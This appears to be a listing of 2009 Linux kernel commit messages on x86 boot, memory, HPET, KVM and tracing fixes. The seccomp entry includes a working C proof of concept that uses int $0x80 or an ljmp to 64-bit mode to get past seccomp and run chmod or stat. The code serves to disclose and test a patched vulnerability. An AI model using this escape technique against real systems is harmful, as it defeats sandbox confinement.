Impact: fix failed EFI bootup in certain circumstances Ying Huang found init_memory_mapping() has problem with small ranges less than 2M when he tried to direct map the EFI runtime code out of max_low_pfn_mapped. It turns out we never considered that case and didn't check the range...

2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call.

io_mapping_create_wc should take a resource_size_t parameter in place of unsigned long. With unsigned long, there will be no way to map greater than 4GB address in i386/32 bit. On x86, greater than 4GB addresses cannot be mapped on i386 without PAE. Return error for such a case.

2009-02-22x86: Add IRQF_TIMER to legacy x86 timer interrupt descriptorsLinus Torvalds
Right now nobody cares, but the suspend/resume code will eventually want to suspend device interrupts without suspending the timer, and will depend on this flag to know. The modern x86 timer infrastructure uses the local APIC timers and never shows up as a device interrupt at all, so it isn't affected and doesn't need any of this. Cc: Rafael J.

2009-02-21x86_64: Fix S3 fail pathJiri Slaby
As acpi_enter_sleep_state can fail, take this into account in do_suspend_lowlevel and don't return to the do_suspend_lowlevel's caller. This would break (currently) fpu status and preempt count. Technically, this means use `call' instead of `jmp' and `jmp' to the `resume_point' after the `call' (i.e. if acpi_enter_sleep_state returns=fails). `resume_point' will handle the restore of fpu and preempt count gracefully.

2009-02-20x86: use the right protections for split-up pagetablesIngo Molnar
Steven Rostedt found a bug in where in his modified kernel ftrace was unable to modify the kernel text, due to the PMD itself having been marked read-only as well in split_large_page(). The fix, suggested by Linus, is to not try to 'clone' the reference protection of a huge-page, but to use the standard (and permissive) page protection bits of KERNPG_TABLE. The 'cloning' makes sense for the ptes but it's a confused and incorrect concept at the page table level - because the pagetable entry is a set of all ptes and hence cannot 'clone' any single protection attribute - the ptes can be any mixture of protections. With the permissive KERNPG_TABLE, even if the pte protections get changed after this point (due to ftrace doing code-patching or other similar activities like kprobes), the resulting combined protections will still be correct and the pte's restrictive (or permissive) protections will control it. Also update the comment. This bug was there for a long time but has not caused visible problems before as it needs a rather large read-only area to trigger. Steve possibly hacked his kernel with some really large arrays or so. Anyway, the bug is definitely worth fixing. [ Huang Ying also experienced problems in this area when writing the EFI code, but the real bug in split_large_page() was not realized back then. ] Reported-by: Steven Rostedt <rostedt@goodmis.org> Reported-by: Huang Ying <ying.huang@intel.com> Acked-by: Linus Torvalds <torvalds@linux-foundation.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>

2009-02-18mm: clean up for early_pfn_to_nid()KAMEZAWA Hiroyuki
What's happening is that the assertion in mm/page_alloc.c:move_freepages() is triggering: BUG_ON(page_zone(start_page) != page_zone(end_page)); Once I knew this is what was happening, I added some annotations: if (unlikely(page_zone(start_page) != page_zone(end_page))) { printk(KERN_ERR "move_freepages: Bogus zones: " "start_page[%p] end_page[%p] zone[%p]\n", start_page, end_page, zone); printk(KERN_ERR "move_freepages: " "start_zone[%p] end_zone[%p]\n", page_zone(start_page), page_zone(end_page)); printk(KERN_ERR "move_freepages: " "start_pfn[0x%lx] end_pfn[0x%lx]\n", page_to_pfn(start_page), page_to_pfn(end_page)); printk(KERN_ERR "move_freepages: " "start_nid[%d] end_nid[%d]\n", page_to_nid(start_page), page_to_nid(end_page)); ... And here's what I got: move_freepages: Bogus zones: start_page[2207d0000] end_page[2207dffc0] zone[fffff8103effcb00] move_freepages: start_zone[fffff8103effcb00] end_zone[fffff8003fffeb00] move_freepages: start_pfn[0x81f600] end_pfn[0x81f7ff] move_freepages: start_nid[1] end_nid[0] My memory layout on this box is: [ 0.000000] Zone PFN ranges: [ 0.000000] Normal 0x00000000 -> 0x0081ff5d [ 0.000000] Movable zone start PFN for each node [ 0.000000] early_node_map[8] active PFN ranges [ 0.000000] 0: 0x00000000 -> 0x00020000 [ 0.000000] 1: 0x00800000 -> 0x0081f7ff [ 0.000000] 1: 0x0081f800 -> 0x0081fe50 [ 0.000000] 1: 0x0081fed1 -> 0x0081fed8 [ 0.000000] 1: 0x0081feda -> 0x0081fedb [ 0.000000] 1: 0x0081fedd -> 0x0081fee5 [ 0.000000] 1: 0x0081fee7 -> 0x0081ff51 [ 0.000000] 1: 0x0081ff59 -> 0x0081ff5d So it's a block move in that 0x81f600-->0x81f7ff region which triggers the problem. This patch: Declaration of early_pfn_to_nid() is scattered over per-arch include files, and it seems it's complicated to know when the declaration is used. I think it makes fix-for-memmap-init not easy. This patch moves all declaration to include/linux/mm.h After this, if !CONFIG_NODES_POPULATES_NODE_MAP && !CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID -> Use static definition in include/linux/mm.h else if !CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID -> Use generic definition in mm/page_alloc.c else -> per-arch back end function will be called.

2009-02-17x86, rcu: fix strange load average and ksoftirqd behaviorPaul E. McKenney
Damien Wyart reported high ksoftirqd CPU usage (20%) on an otherwise idle system.

It should be called once per jiffy, and here it is called no less than 22 times in about 3.5 milliseconds, meaning one call every 160 microseconds or so. Why do we need to call rcu_pending() and rcu_check_callbacks() from the idle loop of 32-bit x86, especially given that no other architecture does this? The following patch removes the call to rcu_pending() and rcu_check_callbacks() from the x86 32-bit idle loop in order to reduce the softirq load on idle systems.

2009-02-15trace: mmiotrace to the tracer menu in KconfigPekka Paalanen
Impact: cosmetic change in Kconfig menu layout This patch was originally suggested by Peter Zijlstra, but seems it was forgotten. CONFIG_MMIOTRACE and CONFIG_MMIOTRACE_TEST were selectable directly under the Kernel hacking / debugging menu in the kernel configuration system. They were present only for x86 and x86_64. Other tracers that use the ftrace tracing framework are in their own sub-menu. This patch moves the mmiotrace configuration options there. Since the Kconfig file, where the tracer menu is, is not architecture specific, HAVE_MMIOTRACE_SUPPORT is introduced and provided only by x86/x86_64. CONFIG_MMIOTRACE now depends on it.

2009-02-15KVM: Fix racy in kvm_free_assigned_irqSheng Yang
In the past, kvm_get_kvm() and kvm_put_kvm() was called in assigned device irq handler and interrupt_work, in order to prevent cancel_work_sync() in kvm_free_assigned_irq got a illegal state when waiting for interrupt_work done. But it's tricky and still got two problems: 1. A bug ignored two conditions that cancel_work_sync() would return true result in a additional kvm_put_kvm(). 2. If interrupt type is MSI, we would got a window between cancel_work_sync() and free_irq(), which interrupt would be injected again... This patch discard the reference count used for irq handler and interrupt_work, and ensure the legal state by moving the free function at the very beginning of kvm_destroy_vm(). And the patch fix the second bug by disable irq before cancel_work_sync(), which may result in nested disable of irq but OK for we are going to free it.

2009-02-15KVM: Add kvm_arch_sync_events to sync with asynchronize eventsSheng Yang
kvm_arch_sync_events is introduced to quiet down all other events may happen contemporary with VM destroy process, like IRQ handler and work struct for assigned device. For kvm_arch_sync_events is called at the very beginning of kvm_destroy_vm(), so the state of KVM here is legal and can provide a environment to quiet down other events.

2009-02-13x86, hpet: fix for LS21 + HPET = boot hangjohn stultz
Between 2.6.23 and 2.6.24-rc1 a change was made that broke IBM LS21 systems that had the HPET enabled in the BIOS, resulting in boot hangs for x86_64. Specifically commit b8ce33590687888ebb900d09557b8807c4539022, which merges the i386 and x86_64 HPET code. Prior to this commit, when we setup the HPET timers in x86_64, we did the following: hpet_writel(HPET_TN_ENABLE | HPET_TN_PERIODIC | HPET_TN_SETVAL | HPET_TN_32BIT, HPET_T0_CFG); However after the i386/x86_64 HPET merge, we do the following: cfg = hpet_readl(HPET_Tn_CFG(timer)); cfg |= HPET_TN_ENABLE | HPET_TN_PERIODIC | HPET_TN_SETVAL | HPET_TN_32BIT; hpet_writel(cfg, HPET_Tn_CFG(timer)); However on LS21s with HPET enabled in the BIOS, the HPET_T0_CFG register boots with Level triggered interrupts (HPET_TN_LEVEL) enabled. This causes the periodic interrupt to be not so periodic, and that results in the boot time hang I reported earlier in the delay calibration. My fix: Always disable HPET_TN_LEVEL when setting up periodic mode. Signed-off-by: John Stultz <johnstul@us.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
